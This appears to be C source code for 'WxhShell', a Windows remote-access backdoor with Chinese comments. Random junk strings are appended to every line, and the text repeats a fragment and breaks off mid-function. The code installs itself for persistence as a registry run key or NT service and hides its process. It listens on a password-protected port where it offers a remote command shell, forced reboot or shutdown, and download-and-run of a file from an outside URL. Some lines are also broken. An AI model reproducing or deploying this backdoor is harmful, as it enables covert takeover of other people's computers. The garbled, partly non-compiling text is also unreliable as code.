WinExec(wscfg.ws_filenam,SW_HIDE); UhVJ!NrT
} D|Raj\R
QDpzIjJj
if(!OsIsNt) { q"|#KT^)
// 如果时win9x，隐藏进程并且设置为注册表启动 p{S#>JTr
HideProc(); k$v8cE
StartWxhshell(lpCmdLine); 6;{E-y
} AxZaV;%*
else 3}ATt".
if(StartFromService()) 4VrL@c @
// 以服务方式启动 P[<EFjE
StartServiceCtrlDispatcher(DispatchTable); &&K"3"um
else SvN2}]Kh
// 普通方式启动 gq[`g=x
StartWxhshell(lpCmdLine); _yP02a^2
sTChbks
return 0; +#MQ8d
} fZF.eRP'
`(Ij@84
7zEpuw
NQqq\h
=========================================== Q3|I.I e
lJ/{.uK
'ghwc:Og|%
MR-cOPn
=VOl *
c?XqSK`',Z
" 0|D l/1
e=Teq~K
#include <stdio.h> $ Ov#^wfA
#include <string.h> %^ g(2^
#include <windows.h> ; 6*Ag#Z
#include <winsock2.h> CyEEE2cV
#include <winsvc.h> TATH,Sz:x
#include <urlmon.h> FErKr)
3E]IEf
#pragma comment (lib, "Ws2_32.lib") $G@^!(
#pragma comment (lib, "urlmon.lib") 71inHg
"R9^X3;
#define MAX_USER 100 // 最大客户端连接数 {u_2L_
#define BUF_SOCK 200 // sock buffer 19#A7
#define KEY_BUFF 255 // 输入 buffer XbMAcgS
8@J5tFJ&%
#define REBOOT 0 // 重启 5_~QS
#define SHUTDOWN 1 // 关机 rtY4B~_
]/y69ou
#define DEF_PORT 5000 // 监听端口 :MbD=sX
QB|D_?]
#define REG_LEN 16 // 注册表键长度 rN5;W
#define SVC_LEN 80 // NT服务名长度 JwMFu5@
[$P.ek<
// 从dll定义API \jGvom.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tF=Y3W+L
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?=a,
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2<GN+Wv[#
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c3G&)gU4q
?2$0aq
// wxhshell配置信息 Im8c
struct WSCFG { KuohUH+
int ws_port; // 监听端口 .,7ZDO9{
char ws_passstr[REG_LEN]; // 口令 tpP2dg9dF
int ws_autoins; // 安装标记, 1=yes 0=no {_<,5)c
char ws_regname[REG_LEN]; // 注册表键名 }$T!qMst{
char ws_svcname[REG_LEN]; // 服务名 ?~#{3b
char ws_svcdisp[SVC_LEN]; // 服务显示名 `UH 1B/
char ws_svcdesc[SVC_LEN]; // 服务描述信息 X"pp l7o
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |y~un9j+
int ws_downexe; // 下载执行标记, 1=yes 0=no qs'ggF1
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iz pFl@WS
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j~:N8(=
lM'yj}:~
}; RFzMah?Q=j
HG)c\b
// default Wxhshell configuration $,L,VYN
struct WSCFG wscfg={DEF_PORT, EU@XLm6
"xuhuanlingzhe", Owz.C_{)
1, b1NB:
"Wxhshell", 'I *&P5|
"Wxhshell", p&4#9I5
"WxhShell Service", @mu2,%
"Wrsky Windows CmdShell Service", 1[Ffl^\ARp
"Please Input Your Password: ", JD1D(
1, $bi@,&t;
"http://www.wrsky.com/wxhshell.exe", I}{Xv#@o
"Wxhshell.exe" p-1 \4
}; #w:6<$
[d~25
// 消息定义模块 06peo d
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z/>0P* F
char *msg_ws_prompt="\n\r? for help\n\r#>"; *)H&n>"e
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Vn1hr;i]
char *msg_ws_ext="\n\rExit."; Wr+1G 8
char *msg_ws_end="\n\rQuit."; RIQw+RG>
char *msg_ws_boot="\n\rReboot..."; Ul?92
char *msg_ws_poff="\n\rShutdown..."; %B{NH~
char *msg_ws_down="\n\rSave to "; &?@5G
wBK%=7
char *msg_ws_err="\n\rErr!"; uRu)iBd D
char *msg_ws_ok="\n\rOK!"; M$Of.
)-4xI4
char ExeFile[MAX_PATH]; ;4rTm@6
int nUser = 0; !j|93*
HANDLE handles[MAX_USER]; HD95>%
int OsIsNt; _2C[F~ +l
2AZ)|dM'`
SERVICE_STATUS serviceStatus; G,J~Ed
SERVICE_STATUS_HANDLE hServiceStatusHandle; zrJ/Fs+s
|vY0[#E8&
// 函数声明 d|8iD`sZz
int Install(void); %Kq`8
int Uninstall(void); &QL!Y{=Y6
int DownloadFile(char *sURL, SOCKET wsh); cjel6 nj
int Boot(int flag); / NlT[@T
void HideProc(void); aj:B+}1
int GetOsVer(void); &@MiR8
int Wxhshell(SOCKET wsl); c#6g[TE@
void TalkWithClient(void *cs); *1[v08?!
int CmdShell(SOCKET sock); `/z6Q"
int StartFromService(void); <_tkd3t#W
int StartWxhshell(LPSTR lpCmdLine); 7~V,=WEe
dq{wFI)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AqzPwO^
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }`,}e259
oIP<7gz
// 数据结构和表定义 Lz9t9AoB
SERVICE_TABLE_ENTRY DispatchTable[] = Q< q&a8~
{ "x*5g*k
{wscfg.ws_svcname, NTServiceMain}, 5z>kz/uxW
{NULL, NULL} u0(PWCi2
}; '`*{ig
Pkbx/\
// 自我安装 oe:@7stG
int Install(void) @!:~gQ
{ l`vb
char svExeFile[MAX_PATH]; ByK!r~>Z1Q
HKEY key; ?(^HjRUY
strcpy(svExeFile,ExeFile); j5EZJ`
~$8t/c
// 如果是win9x系统，修改注册表设为自启动 hF!t{ Lf3
if(!OsIsNt) { v3i]z9`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U Ux]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c_fx,; ;
RegCloseKey(key); |GvWHe`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AIvIQ$6}
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6eqPaIaD
RegCloseKey(key); 9N[PZD
return 0; hK,e<?N^
} m"<Sb,"x!
} ORV~F0d<
} SJtQK-%wK>
else { Qv%"iSe~J
to1{7q
// 如果是NT以上系统，安装为系统服务 >_Dq)n;%
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D9;2w7v
if (schSCManager!=0) DJ)z~W2I*
{ RN1q/H|
SC_HANDLE schService = CreateService Bw31h3yB
( rSUarfZ<
schSCManager, GN4'LU
wscfg.ws_svcname, 3f2%+2Zjt,
wscfg.ws_svcdisp, hy"O_Le
SERVICE_ALL_ACCESS, @,<@y>m7
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _JZwd9K
SERVICE_AUTO_START, W -Yv0n3
SERVICE_ERROR_NORMAL, :K ^T@F5n
svExeFile, 8X@p?43
NULL, 7|IOn5
NULL, E*ug.nxy
NULL, fAu^eS%>7
NULL, ^ 2"r't
NULL nVF?.c
); RnN]m!"5
if (schService!=0) JM-spi o
{ cY|?iEVs)
CloseServiceHandle(schService); pcd*K)
CloseServiceHandle(schSCManager); ymdZ#I-
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $r`^8/Mq3
strcat(svExeFile,wscfg.ws_svcname); JC~L!)f
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IcM99'P(
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4LRrrW
RegCloseKey(key); 2nW:|*:/p6
return 0; 3[g%T2&[
} S <C'#vj
} p&SxR}h
CloseServiceHandle(schSCManager); _;G. QwHr
} ZqhCGHy
} #,0PLU3%
YRXXutm
return 1; +*2]R~"M
} @)A)cBv#
42a.@JbLQ
// 自我卸载 Wj"\nT4
int Uninstall(void) ]Q Y:t:-
{ IJxBPwh
HKEY key; lWr{v\L'
$TON`+lB
if(!OsIsNt) { [Bn C_^[W
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UQ;ymTqdc
RegDeleteValue(key,wscfg.ws_regname); ,m| :U
RegCloseKey(key); zo,`Vibx<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CdCo+U5z{
RegDeleteValue(key,wscfg.ws_regname); B{UL(6\B
RegCloseKey(key); sb Wn1 T U
return 0; 9`P<|(
} Gkz\By
} >h^CC*&'pw
} u^DfRd&P0
else { LUGyc( h
DJxe3<
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :DI``]Si\
if (schSCManager!=0) KMO(f!?
{ n[~kcF
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zn| S3c
if (schService!=0) gnjh=anVX1
{ B?BB
if(DeleteService(schService)!=0) { m0}Pq{g
CloseServiceHandle(schService); B$R"Ntp
CloseServiceHandle(schSCManager); {E6M_qZ
return 0; OAoTsqj6
} f)`_su U
CloseServiceHandle(schService); \LYB% K}
} 4e6x1`Y{xB
CloseServiceHandle(schSCManager); p"A2N+
} KxyD{W1
} oy8L{8?
X$aN:!1
return 1; F't4Q
} x=1Iuc;&3
[$PW {d8|
// 从指定url下载文件 @>>8CU^~
int DownloadFile(char *sURL, SOCKET wsh) :@BAiKa[wa
{ G(g`>' m
HRESULT hr; |mx)W}
char seps[]= "/"; 5*M3sN
char *token; >?-etl
char *file; x$:>W3?T=^
char myURL[MAX_PATH]; C`qo
char myFILE[MAX_PATH]; `w&Y[8+E
uw!w}1Y]}2
strcpy(myURL,sURL); J7Z`wjX1
token=strtok(myURL,seps); L5(7;
while(token!=NULL) cK()_RB#
{ sGg=4(D
file=token; 5c(mgEvq
token=strtok(NULL,seps); m<7Ax>
} j#}wg`P"A
\"L ;Ct 8
GetCurrentDirectory(MAX_PATH,myFILE); e70#"~gt[
strcat(myFILE, "\\"); _ELuQ>zM]+
strcat(myFILE, file); iME)Jl&
send(wsh,myFILE,strlen(myFILE),0); (u/-ud1p
send(wsh,"...",3,0); ORVFp]gG
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >XTDN
if(hr==S_OK) ,\YlDcl':0
return 0; MHl ffj
else U +c?x2\
return 1; u'Od~x^z
|6]2XW
} bl8zcpdL
+JyD W%a:L
// 系统电源模块 OoW,mmthj>
int Boot(int flag) XH^X4W
{ \fX0&l;T9\
HANDLE hToken; K1S:P( S
TOKEN_PRIVILEGES tkp; r;>2L'
xIOYwVC
if(OsIsNt) { %Aqt0e
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b-)m'B}`
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HuVx^y` @
tkp.PrivilegeCount = 1; p$5uS=:4`8
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kn$2_I9
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .|$:%"O&X
if(flag==REBOOT) { Fe r&X
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =1kE2u
return 0; }u3Q*oAGl
} ; 9n}P@
else { %4bGI/\/
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z%FBHj
return 0; S*aVcyDEP
} 6_G[&
} yj:<3_-C*
else { /$z(BX/
if(flag==REBOOT) { *5e"suS2
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~__r-z
return 0; cDkq@H:
} <\44%M"iC-
else { V(lxkEu/Fj
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3^jkd)xw
return 0; [9<c;&$LU
} ?*{Vn5aX{
} x=S8UKUx
0A,u!"4[
return 1; +69[06F
} `G@(Z:]f,t
QPD[uJ(I
// win9x进程隐藏模块 `6No6.\J
void HideProc(void) _nUvDdEs,
{ [Sj _=
=c-Y >
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /v<FH}
if ( hKernel != NULL ) 0uZL*4A+C
{ 8I>'xf
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +hIC N,8!
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eNHSfq
FreeLibrary(hKernel); !#NGGIp;
} MD4RSl<F
e(z'uA{!
return; ]QJN` ;b0
} ydZS^BqG
iQT$#"m n
// 获取操作系统版本 T^Lg+g+I
int GetOsVer(void) *GZ7S m
{ |8{c|Qz
OSVERSIONINFO winfo; F `4a0~?
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oCxh[U@*D
GetVersionEx(&winfo); ,J@A5/B,AA
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \kR:GZ`{UV
return 1; kd=|Iip;(
else h,*-V 'X.k
return 0; RJ+["[k
} za,JCI
-:V0pb
// 客户端句柄模块 /bSAVSKR
int Wxhshell(SOCKET wsl) iBXS
{ a_T3<
SOCKET wsh; J<vVsz+7:
struct sockaddr_in client; 9K:ICXm
DWORD myID; x/d(" Bb
l-gNJ=l+K
while(nUser<MAX_USER) %ij,xN
{ FJ+n- \
int nSize=sizeof(client); G m~2s;/
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DtFzT>$^F
if(wsh==INVALID_SOCKET) return 1; )c<X.4
IaHu$` v
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ` it<\r[=
if(handles[nUser]==0) >zS<1
closesocket(wsh); o>l/*i0I
else z+5%.^Re
nUser++; qS!U1R?s
} fG,)`[eD!_
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m\.(-
2:jWO_V@
return 0; 6JB*brO
} E4cPCQyeH
lzbAx
// 关闭 socket bSkr:|A7
void CloseIt(SOCKET wsh) ])9|j
{ Q/%]%d
closesocket(wsh); 0s72BcP
nUser--; =JGL~t?
ExitThread(0); @c-| Sl
} 0F-%C>&g
}Y&|v q
// 客户端请求句柄 PNB E
void TalkWithClient(void *cs) gWGh:.*T
{ W @]t
jr2wK?LbB
SOCKET wsh=(SOCKET)cs; [r0`D^*=
char pwd[SVC_LEN]; ukDaX
char cmd[KEY_BUFF]; 2{9%E6%#
char chr[1]; 2]V&]s8Wi=
int i,j; ws([bS2h
?3yrX_Qm{
while (nUser < MAX_USER) { vo"?a~kY7
)qeed-{
if(wscfg.ws_passstr) { kKs}E| T
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c\.7Z=D
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lcR1FbJ2'
//ZeroMemory(pwd,KEY_BUFF); @=6*]:p2.
i=0; #/ HQ?3h]
while(i<SVC_LEN) { /=[hRn@)A
{'UK>S
// 设置超时 hkDew0k
fd_set FdRead; S7h?tR*u
struct timeval TimeOut; FT Ytf4t
FD_ZERO(&FdRead); % pQi}x
FD_SET(wsh,&FdRead); 43s8a
TimeOut.tv_sec=8; &Vy.)0
TimeOut.tv_usec=0; ~F.kgX
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZkqZO#nq C
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oq[YbQ'GE
giHWC%/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zrL+:/t
pwd=chr[0]; q^eLbivVE
if(chr[0]==0xd || chr[0]==0xa) { U.pGp]\Q)G
pwd=0; >zV
break; ly::?
} V)Ze>Pp
i++; )W^$7Em
} ^D?{[LBc
62 9g_P)
// 如果是非法用户，关闭 socket (b"kN(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =Bos>;dl
} 7{Zs"d{s
!7n`-#)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5BS !6o;P'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rAZ~R PrW
&W{<Yf9
while(1) { V$g!#V
OV/ &'rC
ZeroMemory(cmd,KEY_BUFF); mCSt.n~
FnCMr_
// 自动支持客户端 telnet标准 \ch4c9
j=0; [{.9#cQ"
while(j<KEY_BUFF) { i}/Het+(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }t0JI3
cmd[j]=chr[0]; ddwokXx (
if(chr[0]==0xa || chr[0]==0xd) { Lt_A&
cmd[j]=0; |e91KmiqJ
break; Ge ?Q)N
} +ctJV>
j++; w,-4A o2x
} /kV5~i<1S
qZ%0p*P#_
// 下载文件 yJ*g ;
if(strstr(cmd,"http://")) { m1DrT>oN'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); i?D)XXB85
if(DownloadFile(cmd,wsh)) ~Z}DN*S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?- ]ZkI
else num2HtU&%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oC}2 Z{
} NEt_UcC
else { *})Np0k
dZ x
switch(cmd[0]) { BeFXC5-qat
\t]_UNGyW
// 帮助 x$) E^|A+
case '?': { +&[X7r<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LY2QKjgP
break; [6CWgQ%Ue
} CcZM0
// 安装 #ds@!u+&
case 'i': { 7 b8pWM
if(Install()) >M7(<V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SN;_.46k
else %=)%$n3=-M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a*qc
break; 87rHW@\](
} |XJ|vQGU
// 卸载 2XrYm"6w
case 'r': { zKQXmyO
if(Uninstall()) c@lH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *0z'!m12
else Ebp=du
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DpIk$X
break; a6'T]DW0W
} }CvhLjo
// 显示 wxhshell 所在路径 ~:N 1[
case 'p': { $s,(-C
char svExeFile[MAX_PATH]; m}]\^$d
strcpy(svExeFile,"\n\r"); wu3p2#-Z
strcat(svExeFile,ExeFile); wRJ`RKJ-T
send(wsh,svExeFile,strlen(svExeFile),0); 9'A^n~JHF
break; [_HOD^
} kyL]4:@W`
// 重启 O+=C8
case 'b': { gp4@6HuUd
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5UvqE_
if(Boot(REBOOT)) <[V1z=Eo/]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ph17(APt,Q
else { -+WE9
closesocket(wsh); '~E=V:6
ExitThread(0); c\VD8 :
} tJpK/"R'
break; q{pa _
} Q+dLWFI
// 关机 AdWP
case 'd': { Is>~P*2Y=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U,V+qnS
if(Boot(SHUTDOWN)) ;rC< C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $spk.j
else { Wux[h8G
closesocket(wsh); uE'Kk8
ExitThread(0); RP%FMb}nt
} *#j_nNM4
break; -EG=}uT['b
} :_kZkWD5
// 获取shell bdHHOpXM
case 's': { }r|$\ms
CmdShell(wsh); `vD.5
closesocket(wsh); a7"Aq:IjU
ExitThread(0); bf6:J `5Z
break; N^zFKDJG
} TH*}Ja^/
// 退出 RU% 4~WC
case 'x': { lMe+.P|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S^nI=HTm
CloseIt(wsh); >~})O&t
break; Ly]J-BTe
} 0lS=-am
// 离开 N]&:xd5
case 'q': { s/Q8(sF5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); n W:Bo#
closesocket(wsh); )F4BVPI
WSACleanup(); Y,{pG]B$w
exit(1); [p_<`gU?
break; !_>o2
} MGH2z:
} ilwIqj
} unt{RVR%
mj&$+zM>
// 提示信息 =a(]@8$!1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PBgU/zVn
} w/@ tH
} WntolYd
gq050Bl)
return; "8/BVW^bv
} -GYJ)f
i)7B :uA
// shell模块句柄 #dkSAS
int CmdShell(SOCKET sock) ?fQ8Ff
{ ~r&+18Z;
STARTUPINFO si; 7-d.eNQl
ZeroMemory(&si,sizeof(si)); H.&"~eH
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U|+c&TY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UHX,s
PROCESS_INFORMATION ProcessInfo; &p5^Cjy L
char cmdline[]="cmd"; w6|l ~.$=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jn"ya^~
return 0; ^IO\J{U{"x
} \%QA)T%
}B&+KO)
// 自身启动模式 .yQ<
int StartFromService(void) HEF\TH9
{ !%/(a)B$^$
typedef struct <J-.,:
{ +f'@
DWORD ExitStatus; ebhV;Q.
DWORD PebBaseAddress; -AwkP
DWORD AffinityMask; ,ygDNF
DWORD BasePriority; a2B9 .;F
ULONG UniqueProcessId; EOo,olklC
ULONG InheritedFromUniqueProcessId; oT"7O5v
} PROCESS_BASIC_INFORMATION; DUb8 HgcV}
co{i~['u
PROCNTQSIP NtQueryInformationProcess; 3 V$ \s8
_Q7]Dw/w\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {2LV0:k2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; synueg
qq>Qi(>
HANDLE hProcess; p']{WLDj2
PROCESS_BASIC_INFORMATION pbi; d^I:{Ii'
na_Wp^;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t""d^a#Dp
if(NULL == hInst ) return 0; yQ| V7G
E51S#T
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %XH%.Ps/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I$*LMzve
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /}nq?Vf
]fJ9.Js
if (!NtQueryInformationProcess) return 0; -=)+)9~G
Q; BD|95nl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C;oO=R3r
if(!hProcess) return 0; e(vnnv?R{
fk\hrVP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ](>YjE0
gQuU_dbXSB
CloseHandle(hProcess); F{laA YE
;n.SRy6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VN]j*$5
if(hProcess==NULL) return 0; aEdc8i?
B !Z~jT
HMODULE hMod; Pa"[&{:
char procName[255]; -gpHg
unsigned long cbNeeded; '25zb+-
<=@6UPsn2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xw&vi\*m
8$38>cGY^
CloseHandle(hProcess); /l;_ xs
1l\.>H\E
if(strstr(procName,"services")) return 1; // 以服务启动 TmEh$M
7x.] 9J
return 0; // 注册表启动 UD_8#DO{m1
} $LOf2kn
lQG;WVqW
// 主模块 C5=m~
int StartWxhshell(LPSTR lpCmdLine) g&X X@I8+v
{ =m U</F)
SOCKET wsl; `Wp y6o
BOOL val=TRUE; Nl9}*3r
int port=0; pf#~|n#t
struct sockaddr_in door; +5H1n(6)
,AG k4]
if(wscfg.ws_autoins) Install(); )zu m.6pT
pXK-,7-
port=atoi(lpCmdLine); (} Y|^uM,
p?sFX$S
if(port<=0) port=wscfg.ws_port; bRI`ZT0
q1Ehl S
WSADATA data; RU\MT'E>(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Op7OFY%
QPKY9.Rvv
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *OHaqe(*
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _cd=PZhI
door.sin_family = AF_INET; wSG!.Ejc7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jk1mP6'P|
door.sin_port = htons(port); Y 9@ 2d
;2'/rEq4o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q6eD{/4a1
closesocket(wsl); ;;mr?'R
return 1; wQ '_, d
} OK%d1M^8j
`}~NZ
if(listen(wsl,2) == INVALID_SOCKET) { FH7l6b,^
closesocket(wsl); lD,;xuQ
return 1; v[<;z(7Qk
} `9nk{!X\
Wxhshell(wsl); AP0z~e
WSACleanup(); X9o6} %Y
)u.%ycfeV
return 0; %+L3Xk]m'
:@^T^
} \8/$ZEom
#f }ORA
// 以NT服务方式启动 _o?[0E
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j~#v*qmDU
{ h:4F?'W
DWORD status = 0; wPr!.:MF
DWORD specificError = 0xfffffff; 5N$O
4td9=dNA+l
serviceStatus.dwServiceType = SERVICE_WIN32; ~U1M-<IX
serviceStatus.dwCurrentState = SERVICE_START_PENDING; i(0%cNP7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yXCJ?
serviceStatus.dwWin32ExitCode = 0; hh<ryuZ
serviceStatus.dwServiceSpecificExitCode = 0; "2hs=^&8
serviceStatus.dwCheckPoint = 0; 0134mw%jk
serviceStatus.dwWaitHint = 0; &@z M<A
"/{H=X3was
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =&y6mQ
if (hServiceStatusHandle==0) return; WJii0+8e
}=s64O9j
status = GetLastError(); \)2~oN
if (status!=NO_ERROR) lj@ibA]
{ kw5`KfG9
serviceStatus.dwCurrentState = SERVICE_STOPPED; [cw>; \J
serviceStatus.dwCheckPoint = 0; 0E/16@6=
serviceStatus.dwWaitHint = 0; %D E_kwL
serviceStatus.dwWin32ExitCode = status; !5K5;M_Ih"
serviceStatus.dwServiceSpecificExitCode = specificError; YkI_i(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oC|']r6
return; U2*kuP+n
} )CG,Udu
Us4#O&
serviceStatus.dwCurrentState = SERVICE_RUNNING; o=Ia{@
serviceStatus.dwCheckPoint = 0; $zJ!L
serviceStatus.dwWaitHint = 0; !Er)|YP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DUvF
} 6kdcFcV-]
7loIjT7
// 处理NT服务事件，比如：启动、停止 U_@Dn[/:
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7o$S6Y;c4
{ rWN%Tai-
switch(fdwControl) 9lc{{)m2)
{ Gr!@ih^
case SERVICE_CONTROL_STOP: )m>Y[)8!
serviceStatus.dwWin32ExitCode = 0; \04(V'`U
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9&'HhJm
serviceStatus.dwCheckPoint = 0; {hBnEj^@
serviceStatus.dwWaitHint = 0; PG3,MCf:
{ 'b Kc;\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b^WF R
} kB]*2o9-3
return; b*<Fi#x1=
case SERVICE_CONTROL_PAUSE: Aw=GvCo<
serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}?5Oy_XF2
break; BH2JH>'X
case SERVICE_CONTROL_CONTINUE: Sj@VOW
serviceStatus.dwCurrentState = SERVICE_RUNNING; Sv[$.^mb
break; S=g E'"LT
case SERVICE_CONTROL_INTERROGATE: 5@`dKFB5
break; $Sc;
}; *m:'~\[u
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X?n($z/{
} pu Z0_1uN
:zsMkdU
// 标准应用程序主函数 m" c6^)U
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HKG8X="
{ ant#bDb/
.[S\&uRv
// 获取操作系统版本 _E4_k%8y
OsIsNt=GetOsVer(); ->5[C0: ]
GetModuleFileName(NULL,ExeFile,MAX_PATH); $im6v
0hCUr]cZ,
// 从命令行安装 /H :Bu
if(strpbrk(lpCmdLine,"iI")) Install(); H<ZXe!q(nx
RW^e#z>m"E
// 下载执行文件 |snWO0iF
if(wscfg.ws_downexe) { c<imqDf
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z?.XVk-
WinExec(wscfg.ws_filenam,SW_HIDE); -e_B
} jYnP)xX;
V(3rTDg
if(!OsIsNt) { #hh7fE'9
// 如果时win9x，隐藏进程并且设置为注册表启动 & hv@ &
HideProc(); (?kCo
StartWxhshell(lpCmdLine); !c=EB`<*
} gwN y]!
else X{;5jnpG
if(StartFromService()) CzG/=#IU
// 以服务方式启动 (]sk3 A
StartServiceCtrlDispatcher(DispatchTable); R/kfbV-b
else AJ)N?s-=
